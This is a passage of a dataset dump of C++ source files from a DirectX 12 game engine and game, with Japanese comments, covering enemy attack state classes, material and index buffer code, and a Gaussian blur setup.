fxFilePath,\n\t\t\tconst wchar_t* psfxFilePath,\n\t\t\tconst char* vsEntryPointFunc,\n\t\t\tconst char* psEntryPointFunc);\n\t\t/// <summary>\n\t\t/// テクスチャを初期化。\n\t\t/// </summary>\n\t\t/// <param name=\"tkmMat\"></param>\n\t\tvoid InitTexture(const TkmFile::SMaterial& tkmMat);\n\tprivate:\n\t\t/// <summary>\n\t\t/// マテリアルパラメータ。\n\t\t/// </summary>\n\t\tstruct SMaterialParam {\n\t\t\tint hasNormalMap;\t//法線マップを保持しているかどうかのフラグ。\n\t\t\tint hasSpecMap;\t\t//スペキュラマップを保持しているかどうかのフラグ。\n\t\t};\n\t\tTexture\tm_albedoMap;\t//アルベドマップ。\n\t\tTexture\tm_normalMap;\t\t\t\t\t\t\t//法線マップ。\n\t\tTexture\tm_specularMap;\t\t\t\t\t\t\t//スペキュラマップ。\n\t\tConstantBuffer m_constantBuffer;\t\t\t\t//定数バッファ。\n\t\tRootSignature m_rootSignature;\t\t\t\t\t//ルートシグネチャ。\n\t\tPipelineState m_nonSkinModelPipelineState;\t\t//スキンなしモデル用のパイプラインステート。\n\t\tPipelineState m_skinModelPipelineState;\t\t\t//スキンありモデル用のパイプラインステート。\n\t\tPipelineState m_transSkinModelPipelineState;\t//スキンありモデル用のパイプラインステート(半透明マテリアル)。\n\t\tPipelineState m_transNonSkinModelPipelineState;\t//スキンなしモデル用のパイプラインステート(半透明マテリアル)。\n\t\tPipelineState m_gBufferNonSkinModelPipelineState;\n\t\tPipelineState m_gBufferSkinModelPipelineState;\n\t\tPipelineState m_shadowNonSkinModelPipelineState;//影用(non skin model)\n\t\tPipelineState m_shadowSkinModelPipelineState;\t//影用(skin model)\n\t\tShader m_vsNonSkinModel;\t\t\t\t\t\t//スキンなしモデル用の頂点シェーダー。\n\t\tShader m_vsSkinModel;\t\t\t\t\t\t\t//スキンありモデル用の頂点シェーダー。\n\t\tShader m_psModel;\t\t\t\t\t\t\t\t//モデル用のピクセルシェーダー。\n\t\tShader m_vsNonSkinShadow;\n\t\tShader m_vsSkinShadow;\n\t\tShader m_psShadow;\t\t\t\t\t\t\t\t//影用。\n\t\t\n\n\t\tTexture m_emmissionMap;\t\t\t\t\t\t\t//エミッションマップ\n\t\tbool m_isLoadEmmission = false;\n\t};\n\t\n\t\n\n\n}\n"
},
{
"alpha_fraction": 0.6408591270446777,
"alphanum_fraction": 0.649350643157959,
"avg_line_length": 25.342105865478516,
"blob_id": "9fde81598ccda2210fd32fc23e95b3b23addd2d8",
"content_id": "06567632cdcbe0351bd08d82e4f0f195ccd6fc9b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2442,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 76,
"path": "/Game/Enemy/State/BossFatmanState/Boss_FatmanChargeBeamAndShootingState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\nclass Beam;\n\nclass Boss_FatmanChargeBeamAndShootingState final : public IEnemyState\n{\npublic:\n\tBoss_FatmanChargeBeamAndShootingState();\n\t~Boss_FatmanChargeBeamAndShootingState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\tvoid OnAttacked(IEnemy* e);\nprivate:\n\t//溜めビーム。\n\t/// <summary>\n\t/// 溜めビームの初期化処理。\n\t/// </summary>\n\tvoid InitChargeBeam(IEnemy* e);\n\t/// <summary>\n\t/// 溜めビームの処理。\n\t/// </summary>\n\tvoid ChargeBeam(IEnemy* e);\n\t/// <summary>\n\t/// チャージする。\n\t/// </summary>\n\t/// <returns>チャージできたかどうか。</returns>\n\tbool Charge(IEnemy* e);\n\t/// <summary>\n\t/// ビームの当たり判定。\n\t/// </summary>\n\t/// <param name=\"e\">IEnemyを継承した敵の情報。</param>\n\t/// <returns>ビームに当たっているかどうか。</returns>\n\tbool BeamJudge(IEnemy* e, int ikNo);\n\n\t//乱射。\n\t/// <summary>\n\t/// 乱射の初期化処理。\n\t/// </summary>\n\tvoid InitShooting(IEnemy* e);\n\t/// <summary>\n\t/// 乱射の処理。\n\t/// </summary>\n\tvoid Shooting(IEnemy* e);\n\t/// <summary>\n\t/// 弾を生成する関数。\n\t/// </summary>\n\tvoid BulletGenerate(IEnemy* e);\nprivate:\n\tconst int\t\t\t\tIK_NUM = 2;\t\t\t\t\t//IKの数。\n\tQuaternion\t\t\t\tm_startRot = Quaternion::Identity;\t//モデルが最初に向いている角度。\n\tfloat\t\t\t\t\tm_sumLerp = 0.0f;\n\t//溜めビーム。\n\tVector3\t\t\t\t\tm_position = Vector3::Zero;\n\tfloat\t\t\t\t\tm_chargeDamage = 0.f;\n\tfloat\t\t\t\t\tm_chargeTimer = 0.f;\n\tfloat\t\t\t\t\tm_endBeamTimer = 0.f;\n\tstd::vector<Beam*>\t\tm_beams;\n\tconst float\t\t\t\tm_chargeTime = 4.0f;\n\tbool\t\t\t\t\tm_isSetPos = false;\t\t\t//ビームを撃つ方向を設定。固定だから一度だけ設定する。\n\tIK*\t\t\t\t\t\tm_chargebeamIk[2];\t\t\t//IK。左右のIKの情報が格納されている。\n\tbool\t\t\t\t\tm_isEndChargeBeam = false;\t//溜めビームが終わったかどうか。\n\tfloat\t\t\t\t\tm_sumMoveSpeed = 0.0f;\n\tbool\t\t\t\t\tm_isKnockBackCB = false;\n\tbool\t\t\t\t\tm_isChargeSound = false;\n\tbool\t\t\t\t\tm_isBeamSound = false;\n\n\t//乱射。\n\tfloat\t\t\t\t\tm_shotTimer = 0.f;\n\tfloat\t\t\t\t\tm_stateTimer = 0.f;\n\tfloat\t\t\t\t\tm_shootingDamage = 0.f;\n\tIK*\t\t\t\t\t\tm_shootingIk[2];\t\t\t//IK。左右のIKの情報が格納されている。\n\tbool\t\t\t\t\tm_isEndShooting = false;\t//乱射が終わったかどうか。\n\tbool\t\t\t\t\tm_isKnockBackSH = false;\n\tCSoundSource*\t\t\tm_shootSE = nullptr;\n};\n"
},
{
"alpha_fraction": 0.6342281699180603,
"alphanum_fraction": 0.6446003913879395,
"avg_line_length": 23.46268653869629,
"blob_id": "15f3641d91fe4c51ad564ebae86e398f1a0a0eee",
"content_id": "4f36348ca2f20d14edcb7fb8697873249deca093",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3324,
"license_type": "no_license",
"max_line_length": 87,
"num_lines": 134,
"path": "/Game/Enemy/State/ShortBigState/EnemyShortBigBlown.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"EnemyShortBigBlown.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Zako/Zako_ShortBig.h\"\n\nEnemyShortBigBlown::EnemyShortBigBlown()\n{\n}\n\nEnemyShortBigBlown::~EnemyShortBigBlown()\n{\n}\n\nvoid EnemyShortBigBlown::Enter(IEnemy* e)\n{\n\te->PlayAnimation(TO_INT(Zako_ShortBig::EnAnimEX::enDown));\n\tif (m_ikList[0] == nullptr)\n\t{\n\t\t//m_ikList[TO_INT(IEnemy::EnIK::enHead)] = e->GetIK(TO_INT(IEnemy::EnIK::enHead));\n\t\tm_ikList[TO_INT(IEnemy::EnIK::enChest)] = e->GetIK(TO_INT(IEnemy::EnIK::enChest));\n\t\tm_ikList[TO_INT(IEnemy::EnIK::enArm_L)] = e->GetIK(TO_INT(IEnemy::EnIK::enArm_L));\n\t\tm_ikList[TO_INT(IEnemy::EnIK::enArm_R)] = e->GetIK(TO_INT(IEnemy::EnIK::enArm_R));\n\t\tm_ikList[TO_INT(IEnemy::EnIK::enFoot_L)] = e->GetIK(TO_INT(IEnemy::EnIK::enFoot_L));\n\t\tm_ikList[TO_INT(IEnemy::EnIK::enFoot_R)] = e->GetIK(TO_INT(IEnemy::EnIK::enFoot_R));\n\n\t\tfor (auto ik : m_ikList)\n\t\t{\n\t\t\tif (ik == nullptr)\n\t\t\t\tcontinue;\n\t\t\tik->SetIKMode(IK::enMode_NoAnimHit);\n\t\t}\n\t}\n\n\t//テストコード。被弾ボイス\n\tCSoundSource* se = NewGO<CSoundSource>(0, \"Voice\");\n\tse->Init(L\"Assets/sound/Goblin_Voice1.wav\");\n\tse->Play(false);\n\tse->SetVolume(1.0f);\n\n\tm_velocityXZ = e->GetKnockBackImpulse();\n\t//デカい敵なので重く\n\tm_velocityXZ *= 0.5f;\n\tm_velocityY = 0.f;\n\tm_isNoBlown = false;\n\tif (m_velocityXZ.y != 0.f)\n\t\tm_velocityY = max(m_velocityXZ.y / 5.f, 60.f);\n\telse\n\t{\n\t\tm_grav = 5.f;\n\t\tm_isNoBlown = true;\n\t}\n\tm_velocityXZ.y = 0.f;\n\tm_velocityXZ *= 0.1f;\n\tfloat xzLen = m_velocityXZ.Length();\n\tif (xzLen == 0.f)\n\t{\n\t\tm_velocityXZ = Vector3::Zero;\n\t}\n\telse if (xzLen < 60)\n\t{\n\t\tm_velocityXZ /= xzLen;\n\t\t//追加\n\t\tm_velocityXZ *= (60.f * m_bigPush);\n\t}\n\tm_timer = 0.f;\n\tm_isTakeOff = m_isNoBlown;\n\tm_isTakeOn = false;\n\n\te->RemoveRigidBody();\n}\n\nIEnemyState* EnemyShortBigBlown::Update(IEnemy* e)\n{\n\tif (m_timer >= m_timeLimit)\n\t{\n\n\t}\n\tfloat dtime = gameTime()->GetDeltaTime();\n\n\n\tauto ve = Vector3{ m_velocityXZ.x ,m_velocityY ,m_velocityXZ.z };\n\t//auto ve = Vector3{ m_velocityXZ.x ,0,m_velocityXZ.z };\n\n\t{\n\t\t//m_ikList[TO_INT(IEnemy::EnIK::enHead)]->SetVelocity(ve * 2.f);\n\t\tif (!m_ikList[TO_INT(IEnemy::EnIK::enChest)]->IsHit())\n\t\t\tm_ikList[TO_INT(IEnemy::EnIK::enChest)]->SetVelocity(ve * 1.f);\n\n\t\tif (!m_ikList[TO_INT(IEnemy::EnIK::enArm_L)]->IsHit())\n\t\t\tm_ikList[TO_INT(IEnemy::EnIK::enArm_L)]->SetVelocity(ve * 1.f);\n\n\t\tif (!m_ikList[TO_INT(IEnemy::EnIK::enArm_R)]->IsHit())\n\t\t\tm_ikList[TO_INT(IEnemy::EnIK::enArm_R)]->SetVelocity(ve * 1.f);\n\n\t\tauto vefoot = Vector3(-ve.x, ve.y, -ve.z);\n\t\tvefoot *= 0.5f;\n\t\tif (!m_ikList[TO_INT(IEnemy::EnIK::enFoot_L)]->IsHit())\n\t\t\tm_ikList[TO_INT(IEnemy::EnIK::enFoot_L)]->SetVelocity(vefoot);\n\n\t\tif (!m_ikList[TO_INT(IEnemy::EnIK::enFoot_R)]->IsHit())\n\t\t\tm_ikList[TO_INT(IEnemy::EnIK::enFoot_R)]->SetVelocity(vefoot);\n\t}\n\t/*for (auto ik : m_ikList)\n\t{\n\t\tik->SetVelocity(ve);\n\n\t}*/\n\tif (m_isTakeOff && e->IsOnGround())\n\t{\n\t\tm_isTakeOn = true;\n\t\te->SetExternalVelocity(Vector3::Zero);\n\t}\n\tif (!m_isTakeOn || (!m_ikList[TO_INT(IEnemy::EnIK::enChest)]->IsHit() && m_isNoBlown))\n\t\te->SetExternalVelocity(ve);\n\n\n\tif (!m_isTakeOff && !e->IsOnGround())\n\t\tm_isTakeOff = true;\n\n\n\tm_velocityY -= m_grav * dtime;\n\t//m_timer += dtime;\n\n\treturn this;\n}\n\nvoid EnemyShortBigBlown::Exit(IEnemy* e)\n{\n}\n\nvoid EnemyShortBigBlown::OnAttacked(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.7507418394088745,
"alphanum_fraction": 0.7507418394088745,
"avg_line_length": 21.46666717529297,
"blob_id": "5c8e2a1a95afa447990bcd9a58fbbd833070dca3",
"content_id": "ffe0701586ad8a4f5e3b0d837a979d62758a4f7c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 337,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 15,
"path": "/Game/Enemy/State/MiddleBombState/BossBombJumpState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n\nclass BossBombJumpState final : public IEnemyState\n{\npublic:\n\tBossBombJumpState();\n\t~BossBombJumpState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\tvoid OnAttacked(IEnemy* e);\nprivate:\n\tbool m_isJumpStarted = false;\n};\n"
},
{
"alpha_fraction": 0.7142857313156128,
"alphanum_fraction": 0.7373949289321899,
"avg_line_length": 24.052631378173828,
"blob_id": "68fcc4a55d2b5fd00675943f6008c82e549f10c8",
"content_id": "c1ab4610874789c0b75f09d2b615e56d7cc8127c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 506,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 19,
"path": "/Game/Enemy/State/ShortBigState/EnemyShortBigPunch.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n#include \"Player/Player.h\"\nclass EnemyShortBigPunch final : public IEnemyState\n{\npublic:\n\tEnemyShortBigPunch();\n\t~EnemyShortBigPunch();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\tvoid OnAttacked(IEnemy* e);\nprivate:\n\t//プレイヤーの体力を10発で0にする。\n\tconst float\t\tm_damage = Player::GetMaxHP() / 10.0f;\n\tfloat m_fowardMove = 100.f;\n\n\tVector3 m_forward = Vector3::Zero;\n};\n"
},
{
"alpha_fraction": 0.6546762585639954,
"alphanum_fraction": 0.6769784092903137,
"avg_line_length": 19.74626922607422,
"blob_id": "548f4d60bda32a349eeabe196ef3585846d30db2",
"content_id": "b7b41bcb5e0f426f07fc9825982d06fae8899e72",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1470,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 67,
"path": "/UsualEngineR/Graphics/IndexBuffer.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"IndexBuffer.h\"\n\n\nnamespace UER\n{\n\t\n\t\n\t\n\t\n\tIndexBuffer::~IndexBuffer()\n\t{\n\t\tRelease();\n\t}\n\tvoid IndexBuffer::Release()\n\t{\n\t\tif (m_indexBuffer)\n\t\t\tm_indexBuffer->Release();\n\t\tm_indexBuffer = nullptr;\n\t}\n\tvoid IndexBuffer::Init(int size, int stride)\n\t{\n\t\tauto d3dDevice = g_graphicsEngine->GetD3DDevice();\n\t\tauto h = CD3DX12_HEAP_PROPERTIES(D3D12_HEAP_TYPE_UPLOAD);\n\t\tauto r = CD3DX12_RESOURCE_DESC::Buffer(size);\n\t\tauto hr = d3dDevice->CreateCommittedResource(\n\t\t\t&h,\n\t\t\tD3D12_HEAP_FLAG_NONE,\n\t\t\t&r,\n\t\t\tD3D12_RESOURCE_STATE_GENERIC_READ,\n\t\t\tnullptr,\n\t\t\tIID_PPV_ARGS(&m_indexBuffer));\n\t\t\n\t\t//インデックスバッファのビューを作成。\n\t\tm_indexBufferView.BufferLocation = m_indexBuffer->GetGPUVirtualAddress();\n\t\tm_indexBufferView.SizeInBytes = size;\n\t\tif (stride == 2) {\n\t\t\t//ストライドが2バイト。\n\t\t\tm_indexBufferView.Format = DXGI_FORMAT_R16_UINT;\n\t\t}\n\t\telse if (stride == 4) {\n\t\t\t//ストライドが4バイト。\n\t\t\tm_indexBufferView.Format = DXGI_FORMAT_R32_UINT;\n\t\t}\n\t\tm_count = size / stride;\n\t}\n\tvoid IndexBuffer::Copy(void* srcIndecies)\n\t{\n\t\tuint8_t* pData;\n\t\tm_indexBuffer->Map(0, nullptr, (void**)&pData);\n\t\tmemcpy(pData, srcIndecies, m_indexBufferView.SizeInBytes);\n\t\tm_indexBuffer->Unmap(0, nullptr);\n\t}\n\n\tvoid* IndexBuffer::BeginEgit()\n\t{\n\t\tvoid* pData;\n\t\tm_indexBuffer->Map(0, nullptr, (void**)&pData);\n\t\treturn pData;\n\t}\n\n\tvoid IndexBuffer::EndEdit()\n\t{\n\t\tm_indexBuffer->Unmap(0, nullptr);\n\t}\n\n}\n"
},
{
"alpha_fraction": 0.7590673565864563,
"alphanum_fraction": 0.7668393850326538,
"avg_line_length": 24.733333587646484,
"blob_id": "5a4ef028888d07533aea482112470d594221db58",
"content_id": "969524911abc944453122a2233324129758b878e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 386,
"license_type": "no_license",
"max_line_length": 64,
"num_lines": 15,
"path": "/Game/Enemy/State/EnemyShortRangeStrongPunchState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"IEnemyState.h\"\n#include \"Player/Player.h\"\n\nclass EnemyShortRangeStrongPunchState final : public IEnemyState\n{\npublic:\n\tEnemyShortRangeStrongPunchState();\n\t~EnemyShortRangeStrongPunchState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\nprivate:\n\tconst float\t\tm_damage = Player::GetMaxHP() / 15.0f;\n};\n"
},
{
"alpha_fraction": 0.6615198850631714,
"alphanum_fraction": 0.6731001138687134,
"avg_line_length": 22.02777862548828,
"blob_id": "8b4b641b041edae80e6144c304feaa690c8bfc7f",
"content_id": "e3bc0979a6bb12d2a3ae2f7eaa5a2ede7c55af60",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 4817,
"license_type": "no_license",
"max_line_length": 84,
"num_lines": 180,
"path": "/Game/Enemy/State/BossFatmanState/Boss_FatmanBeamState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Boss_FatmanBeamState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"GameManager.h\"\n#include \"Enemy/Boss/Boss_Fatman.h\"\n#include \"Effect/Beam.h\"\n\nBoss_FatmanBeamState::Boss_FatmanBeamState()\n{\n\tBeamEffectInitData bid;\n\t//骨の数だけビームを生成する。\n\tfor (int i = 0; i < IKNum; i++) {\n\t\tBeam* beam = NewGO<Beam>(0);\n\t\tbeam->Init(bid);\n\t\tbeam->SetSca(Vector3::One * 0.03);\n\t\tm_beams.push_back(beam);\n\t}\n}\n\nBoss_FatmanBeamState::~Boss_FatmanBeamState()\n{\n\tfor (int i = 0; i < m_beams.size(); i++) {\n\t\tDeleteGO(m_beams.at(i));\n\t}\n}\n\n//モデルに回転の反映はさせないかもしれない。\nvoid Boss_FatmanBeamState::Enter(IEnemy* e)\n{\n\tauto& p = GameManager::GetInstance().m_player;\n\tm_position = p->GetPosition();\n\tm_position.y += 6.0f;\n\n\t//少し傾ける。\n\tQuaternion rot;\n\trot.SetRotationDeg(Vector3::AxisY, m_rotStartAngle);\n\trot.Multiply(Boss_Fatman::EnemyToPlayerRotation(e));\n\tm_startRot = rot;\n\te->GetModel()->SetRotation(rot);\n\n\t//回転角度のリセット。\n\tm_countRot = 0.f;\n\n\t//ダメージ数を計算。\n\tconst float time = 20.f;\n\tm_damage = Boss_Fatman::CalcDamage(time);\n\n\tm_isState = false;\n\n\t//IK情報。\n\tfor (int i = 0; i < IKNum; i++) {\n\t\tm_ik[i] = e->GetIK(TO_INT(IEnemy::EnIK::enArm_L) + i);\n\t}\n\n\tm_maxSenkei = 0;\n\n\tCSoundSource* se = NewGO<CSoundSource>(0);\n\tse->Init(L\"Assets/sound/chara/beam.wav\");\n\tse->Play(false);\n}\n\nIEnemyState* Boss_FatmanBeamState::Update(IEnemy* e)\n{\n\tUpdateRotation(e);\n\t\n\tif (m_isState && m_maxSenkei > 1.0f) {\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enStunState));\n\t}\n\n\tif (m_countRot > 0.f) {\n\t\tJudge(e);\n\t}\n\n\t//プレイヤーの横方向を求める。\n\tconst auto epos = e->GetPosition();\n\tVector3 vec = m_position - epos;\n\tvec.Normalize();\n\tVector3 XZ;\n\tXZ.Cross(vec, Vector3::Up);\n\n\t//線形補完してプレイヤーの左から右へ動かす。\n\tVector3 senkeihokan;\n\tconst float moveRange = 1.0f;\n\tfloat oneFrameMove = moveRange / m_rotTime * gameTime()->GetDeltaTime();\n\tm_maxSenkei += oneFrameMove;\n\tif (m_maxSenkei <= 1.0f) {\n\t\tconst float range = 37.0f;\n\t\tsenkeihokan.Lerp(m_maxSenkei, XZ * range + m_position, XZ * -range + m_position);\n\t}\n\n\tfor (int i = 0; i < IKNum; i++) {\n\t\tm_ik[i]->SetNextTarget(senkeihokan);\n\t\tm_beams[i]->Play();\n\t\tm_beams[i]->SetPos(m_ik[i]->GetEffectorBone()->GetWorldMatrix().GetTransrate());\n\t\tm_beams[i]->SetRot(m_ik[i]->GetEffectorBone()->GetWorldMatrix().GetRotate());\n\t}\n\t\n\treturn this;\n}\n\nvoid Boss_FatmanBeamState::Exit(IEnemy* e)\n{\n}\n\nvoid Boss_FatmanBeamState::EffectInit()\n{\n\t\n}\n\nvoid Boss_FatmanBeamState::UpdateRotation(IEnemy* e)\n{\n\tif (m_countRot < m_rotAngle) {\n\t\t//1秒間に行われるフレーム数。\n\t\tfloat frame = 1.f / gameTime()->GetDeltaTime();\n\n\t\t//1フレームあたりの回転量。\n\t\tfloat oneFrameAngle = m_rotAngle / m_rotTime / frame;\n\t\t\n\t\t//角度の合計量。\n\t\tm_countRot += oneFrameAngle;\n\t\t\n\t\t//回転。\n\t\tm_rotation.SetRotationDeg(Vector3::AxisY, m_countRot);\n\t\tQuaternion rot = m_rotation;\n\t\trot.Multiply(m_startRot);\n\t\te->GetModel()->SetRotation(rot);\n\t}\n\telse {\n\t\tm_isState = true;\n\t}\n}\n\n//ビームの幅の判定。\nvoid Boss_FatmanBeamState::Judge(IEnemy* e)\n{\n\tfor (int i = 0; i < IKNum; i++) {\n\t\t//ビームを発射している方向を計算。\n\t\t//ボーンの前方向に回転量を割り当て、向きを計算。\n\t\tVector3 vecBeamDir = Vector3::AxisY;\n\t\tm_ik[i]->GetEffectorBone()->GetWorldMatrix().GetRotate().Apply(vecBeamDir);\n\n\t\t//外積。横方向に伸びた、vecBeamDirに直行するベクトル。\n\t\tVector3 EWidth;\n\t\tEWidth.Cross(vecBeamDir, Vector3::Up);\n\t\tEWidth.Normalize();\n\n\t\t//外積。縦方向に伸びた、VecPtoEに直行するベクトル。\n\t\tVector3 EHeight;\n\t\tEHeight.Cross(vecBeamDir, Vector3::Right);\n\t\tEHeight.Normalize();\n\n\t\t//pposは現在のプレイヤーの位置。\n\t\tconst auto& p = GameManager::GetInstance().m_player;\n\t\tconst auto& ppos = p->GetPosition();\n\t\tVector3 bonePos = m_ik[i]->GetEffectorBone()->GetWorldMatrix().GetTransrate();\n\t\tVector3 vecArmtoCurrentP = ppos - bonePos;\n\n\t\t//プレイヤーと敵を並べたと仮定したときの距離。\n\t\tfloat distance = EWidth.Dot(vecArmtoCurrentP);\n\n\t\t//プレイヤーと敵を縦に並べたと仮定したときの距離。\n\t\tfloat dirH = EHeight.Dot(vecArmtoCurrentP);\n\n\t\t//正面にいるかどうか判定するための内積。\n\t\t//マイナスだったら後ろ。\n\t\tfloat front = vecBeamDir.Dot(vecArmtoCurrentP);\n\n\t\tconst float beamWidth = 8.0f;\t\t//ビームの幅。\n\t\tif (std::abs(distance) < beamWidth and std::abs(dirH) < beamWidth and front > 0) {\n\t\t\t//プレイヤーが飛んでいたら撃ち落とす。\n\t\t\tauto& p = GameManager::GetInstance().m_player;\n\t\t\tif (!p->IsOnGround()) {\n\t\t\t\tp->ApplyDamage(m_damage, true, Vector3::Zero);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tp->ApplyDamage(m_damage);\n\t\t\t}\n\t\t}\n\t}\n}\n"
},
{
"alpha_fraction": 0.6992126107215881,
"alphanum_fraction": 0.7047244310379028,
"avg_line_length": 20.525423049926758,
"blob_id": "e8411d7e536c3b25adb061e8c4046edc48aa6d10",
"content_id": "e83ff552e7cfcd71f65b7fb06418cdeb5a46533a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1370,
"license_type": "no_license",
"max_line_length": 89,
"num_lines": 59,
"path": "/Game/Enemy/Zako/Zako_ExplosionMonster.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/State/EnemyDeadState.h\"\n#include \"Enemy/State/EnemyIdleState.h\"\n#include \"Enemy/State/EnemyExplosionKamikazeState.h\"\n#include \"Enemy/State/EnemyExplosionBombState.h\"\n\n/// <summary>\n/// \n/// </summary>\nclass Zako_ExplosionMonster final :public IEnemy\n{\npublic:\n\tZako_ExplosionMonster();\n\tvirtual ~Zako_ExplosionMonster();\n\n\tvoid Init() override;\n\tvoid InitState() override;\n\tvoid Execute() override;\n\tvoid Terminate() override;\n\tPlayer::EnAttackType GetDropID() override\n\t{\n\t\treturn Player::EnAttackType::enNone;\n\t}\n\n\t////デフォルトのアニメーションステート用。\n\t//void PlayAnimation(const EnAnimation& anim, const float interpolate = 0.2f) override {\n\t//\tm_model->Play(static_cast<int>(anim), interpolate);\n\t//}\n\n\t////拡張されたアニメーションステート用。\n\t//void PlayAnimation(const int animNo, const float interpolate = 0.2f) override {\n\t//\tm_model->Play(animNo, interpolate);\n\t//}\n\t\n\tenum class EnStateEX :int\n\t{\n\t\tExpand = TO_INT(IEnemy::EnState::enNumState),\n\t\tNum,\n\t};\n\n\tenum class EnAnimEX :int\n\t{\n\t\tExpand = TO_INT(IEnemy::EnAnimation::enNumAnim),\n\t\tNum,\n\t};\nprivate:\n\t/// <summary>\n\t/// アニメーションの初期設定。\n\t/// </summary>\n\tvoid InitAnimation();\nprivate:\n\tfloat m_scale = 1.f;\n\n\t//Physics\n\tconst float m_radius = 1.f;\n\tconst float m_height = 3.f;\n};\n"
},
{
"alpha_fraction": 0.6666666865348816,
"alphanum_fraction": 0.703269898891449,
"avg_line_length": 30.69072151184082,
"blob_id": "7fe665b425b1766c33e05a54f307d8200cf59d8f",
"content_id": "f85a9e867157613e84e082b8687c5524d4f73e1f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 6203,
"license_type": "no_license",
"max_line_length": 107,
"num_lines": 194,
"path": "/UsualEngineR/Graphics/GaussBlur.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"PreCompile.h\"\n#include \"GaussBlur.h\"\n\n\n\nnamespace UER\n{\n\tvoid GaussBlur::Release()\n\t{\n\t\t\n\t}\n\tvoid GaussBlur::Init(int w, int h, RenderTarget* inTex, int inW, int inH, RenderTarget*& outTex)\n\t{\n\n\t\tm_width = w>>1;\n\t\tm_height = h>>1;\n\n\t\tm_inWidth = inW;\n\t\tm_inHeight = inH;\n\n\t\tm_rtX.Create(m_width, h, 1, 1, DXGI_FORMAT_R32G32B32A32_FLOAT, DXGI_FORMAT_D16_UNORM, nullptr);\n\t\tm_rtY.Create(m_width, m_height, 1, 1, DXGI_FORMAT_R32G32B32A32_FLOAT, DXGI_FORMAT_D16_UNORM, nullptr);\n\n\t\tm_rtX.SetName(L\"BlurX\");\n\t\tm_rtY.SetName(L\"BlurY\");\n\n\t\toutTex = &m_rtY;\n\n\t\tm_rootSign.Init(\n\t\t\tD3D12_FILTER_MIN_MAG_MIP_LINEAR,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_CLAMP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_CLAMP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_CLAMP\n\t\t);\n\t\tm_vsX.LoadVS(L\"Assets/shader/GaussBlur.fx\", \"VSMain_X\");\n\t\tm_vsY.LoadVS(L\"Assets/shader/GaussBlur.fx\", \"VSMain_Y\");\n\t\tm_ps.LoadPS(L\"Assets/shader/GaussBlur.fx\", \"PSMain\");\n\t\t{\n\t\t\tD3D12_INPUT_ELEMENT_DESC inputElementDescs[] =\n\t\t\t{\n\t\t\t\t{ \"POSITION\", 0, DXGI_FORMAT_R32G32B32A32_FLOAT, 0, 0, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t\t{ \"TEXCOORD\", 0, DXGI_FORMAT_R32G32_FLOAT, 0, 16, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t};\n\t\t\t//パイプラインステートを作成。\n\t\t\tD3D12_GRAPHICS_PIPELINE_STATE_DESC psoDesc = { 0 };\n\t\t\tpsoDesc.InputLayout = { inputElementDescs, _countof(inputElementDescs) };\n\t\t\tpsoDesc.pRootSignature = m_rootSign.Get();\n\t\t\tpsoDesc.VS = CD3DX12_SHADER_BYTECODE(m_vsX.GetCompiledBlob());\n\t\t\tpsoDesc.PS = CD3DX12_SHADER_BYTECODE(m_ps.GetCompiledBlob());\n\t\t\tpsoDesc.RasterizerState = CD3DX12_RASTERIZER_DESC(D3D12_DEFAULT);\n\t\t\tpsoDesc.RasterizerState.CullMode = 